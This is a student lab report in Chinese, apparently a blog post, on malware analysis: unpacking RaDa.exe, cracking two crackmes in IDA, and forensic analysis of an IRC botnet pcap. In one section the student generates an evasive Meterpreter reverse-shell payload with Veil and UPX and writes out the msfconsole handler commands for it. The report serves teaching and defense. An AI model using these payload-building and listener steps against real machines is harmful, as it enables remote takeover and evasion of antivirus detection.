20242417 2026-2027-1 《网络与系统攻防技术》实验四实验报告

20242417 2026-2027-1 《网络与系统攻防技术》实验四实验报告

1. 基础知识

本次实验为恶意代码分析实践,涉及以下核心知识:

1.1 静态分析技术

不运行样本,通过反汇编、字符串提取、PE结构分析等手段解剖二进制。核心工具:file(文件识别)、PEiD/DIE(查壳)、strings(字符串提取)、IDA Pro(反汇编)。

1.2 脱壳技术

加壳是对可执行文件压缩/加密,运行时由壳代码解压后跳到原始入口。UPX是开源标准壳,用 upx -d 可直接脱壳;自定义壳常用超级巡警脱壳机、Scylla动态转储。

1.3 动态调试技术

在隔离环境运行样本,用调试器在关键API下断点(如connect、cmp/jz校验点),单步跟踪观察寄存器与栈,可修改标志位篡改分支。

1.4 IRC协议与僵尸网络

IRC是基于TCP的实时文本协议,默认端口6667(明文)、6697(加密)。客户端通过NICK、USER、JOIN命令注册并加入频道。僵尸网络(Botnet)是大量被控主机主动回连C2服务器,攻击者一对多下发指令,用于DDoS、垃圾邮件、挖矿、跳板等。

1.5 网络取证

通过pcap流量文件还原网络行为,Wireshark/tshark为核心工具,用display filter筛选流量,统计主机、识别攻击手法、还原入侵链。

2. 实验内容

本次实验共四个任务:任务一恶意代码文件类型标识、脱壳与字符串提取;任务二IDA Pro逆向分析crackme1与crackme2;任务三自制rada恶意样本全面分析;任务四基于Snort蜜罐数据的僵尸网络取证分析。

3. 实验过程

3.1 任务一:恶意代码文件类型标识、脱壳与字符串提取

3.1.1 文件类型与加壳识别

在Kali终端中,依次使用多种工具对RaDa.exe进行文件格式识别与查壳:

  • (1) file命令基础识别:

$ file RaDa.exe

图3-1 file命令识别RaDa.exe:PE32 executable for MS Windows, Intel i386

结果表明RaDa.exe是32位Windows PE可执行程序(GUI),共3个节区。

  • (2) pev工具集(pepack)识别PE信息与查壳:

$ pepack RaDa.exe

图3-2 pepack工具查壳结果

  • (3) Detect It Easy (DIE) 图形化查壳:

$ die RaDa.exe

图3-3 DIE查壳(1)

图3-4 DIE查壳(2):识别出加壳类型

3.1.2 超级巡警脱壳

使用超级巡警脱壳机对加壳样本进行脱壳处理,输出RaDa_unpacked.exe:

图3-5 超级巡警脱壳机执行脱壳

图3-6 脱壳后生成的RaDa_unpacked.exe文件

3.1.3 字符串提取与作者发现

对脱壳后的样本使用strings命令提取所有可打印字符串:

$ strings RaDa_unpacked.exe

图3-7 strings命令提取字符串输出

进一步将结果保存到文件,并过滤作者关键词:

$ strings RaDa_unpacked.exe > strings.txt

$ strings RaDa_unpacked.exe | grep -i "raul\|david\|author"

图3-8 grep过滤到作者信息:(c) Raul Siles & David Perez

结论:RaDa恶意代码的编写作者是 Raul Siles 和 David Perez

3.2 任务二:IDA Pro逆向分析crackme

3.2.1 crackme1.exe 静态分析

  1. 步骤1:载入样本。打开IDA → File → Open,选中crackme1.exe,File type选择Portable executable for 80386 (PE),保持默认选项点击OK。

图3-9 IDA加载crackme1.exe的PE文件选项窗口

  1. 步骤2:等待自动分析完成。IDA自动进行反汇编、识别函数,直至Autoanalysis completed。

图3-10 IDA自动分析完成后的反汇编主界面

  1. 步骤3:定位字符串。按Shift+F12打开Strings窗口,找到成功/失败提示字符串:

图3-11 Strings窗口(Shift+F12)列出所有字符串

关键字符串:"I know the secret"(成功)、"I think you are missing something"(失败)、"Pardon? What did you say?"。

  1. 步骤4:双击"I know the secret"跳转,查看代码交叉引用(XREF):

图3-12 字符串定义与XREF引用位置

三个关键字符串均被函数sub_401280引用,即该校验函数。

  1. 步骤5:按G键跳转到sub_401280,分析反汇编逻辑:

图3-13 校验函数sub_401280反汇编代码

关键指令 cmp [ebp+arg_0], 2 与 jz short loc_4012D2:判断命令行参数个数是否为2(程序名+1个参数),等于则跳转成功分支。

  1. 步骤6:进入成功分支loc_4012D2,分析strcmp调用:

图3-14 strcmp调用处:push用户输入与密钥字符串地址

push offset aIKnowTheSecret ; "I know the secret"

图3-15 aIKnowTheSecret字符串定义:I know the secret

  1. 步骤7:查看loc_401310,发现call printf成功输出:

图3-16 loc_401310反汇编:printf调用

图3-17 成功提示字符串"You know how to speak to programs, Mr. Reverse-Engineer"

  1. 步骤8:命令行验证密码:

图3-18 运行crackme1传入密码,输出成功信息

crackme1正确密码:I know the secret

3.2.2 crackme2.exe 静态分析

采用同样流程分析crackme2:

  • (1) Strings窗口查看关键字符串:

图3-19 crackme2的Strings窗口

  • (2) 定位提示信息字符串的XREF:

图3-20 crackme2字符串交叉引用

  • (3) 查看核心判断函数sub_401280:

图3-21 crackme2校验函数sub_401280

  • (4) 查看loc_4012D5(文件名校验分支):

图3-22 loc_4012D5:argv[0]程序名校验

  • (5) 查看loc_401313(密码校验分支):

图3-23 loc_401313:argv[1]密码字符串校验

  • (6) 查看后续解密循环流程:

图3-24 异或解密循环:数组字节与0x42异或逐个输出

分析结论:crackme2采用两层校验——先校验argv[0]程序名是否为crackmeplease.exe,再校验argv[1]密码是否为"I know the secret"。两层通过后,循环33次将内置数组字节与0x42异或解密输出。

(7) 重命名crackme2.exe为crackmeplease.exe,传入密码验证:

图3-25 crackme2重命名后运行,解密输出成功信息

crackme2破解方法:重命名为crackmeplease.exe,运行参数输入"I know the secret"

3.2.3 IDA动态调试

在WinXP下使用IDA自带Local Win32 debugger进行动态调试:Debugger → Start process (F9)启动,在校验位置F2下断点,F7单步进入/F8单步跳过/F9继续运行。可在寄存器窗口修改ZF标志位(0改1)或把jnz改成jz,强制走成功分支进行验证。

图3-26 IDA动态调试:断点处寄存器与栈窗口

图3-27 动态调试篡改分支后程序输出success

3.3 任务三:自制rada恶意样本分析

3.3.1 样本制作与环境搭建

步骤1:在Kali中使用Veil框架生成反向连接payload(shikata_ga_nai多态编码):

图3-28 Veil框架生成payload(1)选择evasion模板

图3-29 Veil生成2417_rada.exe成功

步骤2:使用UPX对生成的样本加壳:

$ cp /var/lib/veil/output/compiled/2417_rada.exe ~/Desktop/

$ upx -9 ~/Desktop/2417_rada.exe -o ~/Desktop/2417_rada_upx.exe

图3-30 UPX加壳压缩完成

步骤3:通过VMware共享文件夹将样本传到WinXP靶机:

图3-31 Kali侧共享文件夹准备

步骤4:Kali端msfconsole开启监听:

msf > use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp

msf > set LHOST 192.168.88.129

msf > set LPORT 2417

msf > run

图3-32 msfconsole监听等待反向连接

3.3.2 静态分析(问题1-3)

  • (1) 二进制摘要——计算文件哈希:

$ md5sum 2417_rada_upx.exe

$ sha256sum 2417_rada_upx.exe

图3-33 md5sum与sha256sum计算样本哈希

MD5/SHA256作为样本唯一指纹,可用于病毒库比对和样本追踪。

  • (2) 文件类型识别:

$ file 2417_rada_upx.exe

图3-34 file识别为32位Windows PE程序

  • (3) 加壳样本字符串提取(Kali侧):

$ strings 2417_rada_upx.exe > strings_packed.txt

图3-35 加壳后strings输出:UPX字段与乱码,无明文C2

加壳后看不到原始C2 IP和端口,字符串被压缩隐藏,证明UPX壳有效。

  • (4) PEiD识别壳类型(WinXP侧):

图3-37 PEiD识别出UPX壳标记

3.3.3 脱壳过程(问题4)

(1) 先用超级巡警脱壳器尝试脱壳:

图3-38 超级巡警脱壳器执行脱壳

(2) 脱壳结果再放入PEiD检查,仍显示UPX0节区,说明超级巡警未完全脱掉UPX壳:

图3-39 脱壳后PEiD仍显示UPX0,未完全脱壳

(3) 改用UPX官方命令脱壳:

$ upx -d 2417_rada_upx.exe -o 2417_rada_realunpack.exe

图3-40 upx -d命令脱壳成功(Unpacked 1 file)

(4) 再次用PEiD验证,脱壳成功,壳标记消失:

图3-41 脱壳后PEiD验证:无壳标记

(5) 脱壳后用IDA Pro分析:

图3-42 IDA Strings视图:脱壳后可见明文字符串

图3-43 IDA Imports视图:完整导入函数列表(KERNEL32等)

  • 样本采用的反逆向/防分析技术:
  • shikata_ga_nai多态编码:每次生成payload字节不同,破坏固定特征码,静态杀毒难以识别。
  • UPX加壳:压缩加密原始代码,入口点指向壳代码,必须脱壳才能看到真实导入表和payload。

3.3.4 动态调试分析

在WinXP的IDA中载入样本,Debugger → Select debugger选择Win32 debugger,启动调试后,在Modules窗口找到ws2_32.dll,搜索connect函数并按F2下断点。F9运行程序,等待connect断点命中。

图3-44 ws2_32.dll中connect函数下断点

图3-45 connect断点命中,栈窗口解析sockaddr_in获取C2地址

在ESP栈窗口解析sockaddr_in:+0为地址族(AF_INET=0x0002),+2为端口(网络字节序),+4为IP。同步观察Kali端msfconsole收到meterpreter会话,证明反向连接成功。

3.3.5 问题5-8总结

(5) 恶意代码分类:木马(Trojan)/远程访问木马(RAT)。理由:不自我复制(排除蠕虫)、不感染文件(排除病毒)、静默驻留建立反向控制通道(符合木马特征)。

(6) 相似工具:Metasploit Meterpreter、Gh0st Rat、BlackShades RAT、DarkComet RAT、NanoCore RAT、Cobalt Strike Beacon。

(7) 作者追溯:有限条件下可以——样本保留编译元数据/作者字符串、C2日志可溯源时可行;但msfvenom默认样本不含作者信息,加壳编码器会抹除元数据,纯二进制本身很难定位作者。

(8) 检测方法(6种):

  • 特征码检测:提取固定字节序列比对,快但加壳即失效
  • 哈希检测:MD5/SHA256与恶意库比对,简单但变种即失效
  • 静态启发式:检查可疑API(VirtualAlloc、connect)、异常节区、加壳标记
  • 动态行为监控:沙箱中运行,监控外连、进程创建、注册表修改
  • 自动化沙箱:Cuckoo等自动分析输出行为报告
  • 机器学习:提取PE特征训练模型识别未知样本

3.4 任务四:僵尸网络取证分析

3.4.1 前期准备

将题目提供的botnet_pcap_file.dat通过共享文件夹上传到Kali:

图3-46 Kali获取botnet_pcap_file.dat数据包

3.4.2 IRC协议与僵尸网络基础(问题1-2)

(1) IRC(Internet Relay Chat):基于TCP的实时文本协议。客户端加入时依次发送NICK(昵称)、USER(用户信息)、JOIN(加入频道)命令。常用TCP端口:6667(明文默认)、6668、6669;加密IRC使用6697。

(2) 僵尸网络(Botnet):大量被入侵主机(肉鸡)运行bot程序,主动连接攻击者C2服务器,攻击者一对多下发指令。用途:DDoS攻击、垃圾邮件、窃取信息、挖矿、内网扫描、流量代理跳板。

3.4.3 蜜罐通信的IRC服务器(问题3)

使用tshark筛选蜜罐172.16.134.191主动向外连接6667端口的流量:

$ tshark -r botnet_pcap_file.dat -Y "ip.src == 172.16.134.191 && tcp.dstport == 6667" -T fields -e ip.dst | sort | uniq

图3-47 tshark筛选蜜罐对外IRC连接

Wireshark图形界面同步过滤:

图3-48 Wireshark过滤ip.src==172.16.134.191 && tcp.dstport==6667

结果:蜜罐与4台IRC服务器通信——209.196.44.172、66.33.65.58、209.126.161.29、63.241.174.118。

3.4.4 访问僵尸网络的主机数量(问题4)

统计访问209.196.44.172的不同主机:

$ tshark -r botnet_pcap_file.dat -Y "ip.dst == 209.196.44.172 && tcp.port == 6667" -T fields -e ip.src | sort | uniq

图3-49 tshark列出访问209.196.44.172的源IP

$ tshark ... | sort | uniq | wc -l

图3-50 统计去重主机数

通过Wireshark Statistics → Endpoints交叉验证:

图3-51 Wireshark Endpoints统计

结论:访问该C2服务器的主机只有蜜罐172.16.134.191一台。

3.4.5 攻击源IP与漏洞类型(问题5-6)

(5) 过滤访问蜜罐的所有入站流量 ip.dst == 172.16.134.191:

图3-52 Wireshark过滤访问蜜罐的流量(1)

图3-53 攻击源IP列表(2)

图3-54 攻击源IP列表(3)

图3-55 攻击源IP列表(4)

(6) 攻击者尝试的安全漏洞:

  • ① RPC DCOM(MS03-026,135端口)探测:

$ tshark -r botnet_pcap_file.dat -Y "tcp.dstport == 135"

图3-57 135端口三次握手建立连接

图3-58 连接正常关闭,仅端口探测无RPC交互

  • ② NetBIOS(139端口)共享探测:

图3-59 139端口NetBIOS Session Request与SMB Tree Connect \\PC0191\C

  • ③ SMB(445端口)流量:

图3-60 445端口SMB流量概览

查看SMB版本号:

图3-61 SMB Negotiate Protocol (0x72):SMBv1协议

SMBv1存在MS17-010(永恒之蓝)风险。进一步检查认证结果:

smb.cmd == 0x73 && smb.nt_status == 0xc000006d

图3-62 大量STATUS_LOGON_FAILURE:SMB口令暴力破解

大量认证失败包,说明正在进行SMB口令爆破,本次捕获的登录尝试均未成功。

  • ④ IIS Index Server溢出(80端口,CVE-2000-0071):

图3-63 80端口可疑HTTP流量,大量连续字符填充

http.request.uri contains ".ida" or http.request.uri contains ".idq"

图3-64 /null.ida、/default.ida等请求:IIS .ida/.idq溢出攻击

攻击者请求/null.ida、/null.idq路径并在URL后拼接大量连续A/N字符,符合IIS Index Server缓冲区溢出攻击特征。

3.4.6 攻击成功判定(问题7)

(1) IRC僵尸网络植入成功:蜜罐主机主动向外发起6667连接,出现IRC NICK/USER报文:

图3-65 蜜罐主动外连IRC:NICK/USER命令,bot已回连C2

这是入侵成功的核心证据——主机已被攻陷并植入僵尸程序。

(2) SMB/PsExec攻击成功:

图3-66 SMB认证成功:NTLMSSP_AUTH Administrator + STATUS_SUCCESS

关键行为:Session Setup返回STATUS_SUCCESS(管理员密码验证通过);Tree Connect成功挂载ADMIN$、IPC$、C$管理共享;后续出现OpenSCManagerA、OpenServiceA等SVCCTL操作,并查询PSExecSVC.EXE——这是PsExec远程执行流程,攻击成功。

4. 问题及解决方案

问题1:超级巡警脱壳后PEiD仍显示UPX壳,脱壳不彻底

解决方案:UPX是开源标准壳,超级巡警对某些版本处理不完整。直接使用UPX官方脱壳命令 upx -d 成功率最高,脱壳后用PEiD验证壳标记消失即可。

问题2:IDA静态分析crackme不知从何入手

解决方案:逆向crackme的标准方法是"从字符串反向找代码"。Shift+F12打开Strings窗口,找到成功/失败提示字符串,通过XREF交叉引用定位校验函数。

问题3:connect断点命中后如何从栈上解析C2地址

解决方案:connect(s, name, namelen)参数从右往左压栈。ESP指向返回地址,依次取s、sockaddr指针、namelen。sockaddr结构:+0地址族、+2端口(网络字节序)、+4 IP(转点分十进制)。

5. 学习感悟、思考

通过本次恶意代码分析实验,我对恶意代码从文件识别、脱壳、静态反汇编、动态调试到网络取证的完整分析流程有了系统性认识。

第一,静态分析是基础但不是全部。加壳与多态编码让静态扫描失效,只有正确识别壳类型并脱壳,后续分析才有意义。这解释了为什么恶意代码作者投入大量精力在加壳混淆上。

第二,动态分析是验证假设的关键。在IDA中下断点、单步跟踪、观察寄存器和栈的过程,让我真正理解了程序执行的底层细节。修改ZF标志位篡改分支的技巧,让我体会到逆向不仅是"读懂程序"更是"控制程序"。

第三,网络取证揭示了完整攻击链。一次入侵是扫描、探测、爆破、溢出、植入、回连的链条。蜜罐从被动探测到主动连接IRC服务器的转变,就是从"被扫描"到"被攻陷"的临界点。检测异常出站流量往往比检测入站攻击更有效。

第四,恶意代码检测是攻防演进的领域。从特征码到哈希,从静态启发到动态行为,从沙箱到机器学习,每种方法都有局限。攻击者也在发展多态编码、沙箱检测等对抗技术,安全防御没有银弹,必须多层次纵深防御。

posted @ 2026-11-10 21:50  neverorever  阅读(1)  评论(0)    收藏  举报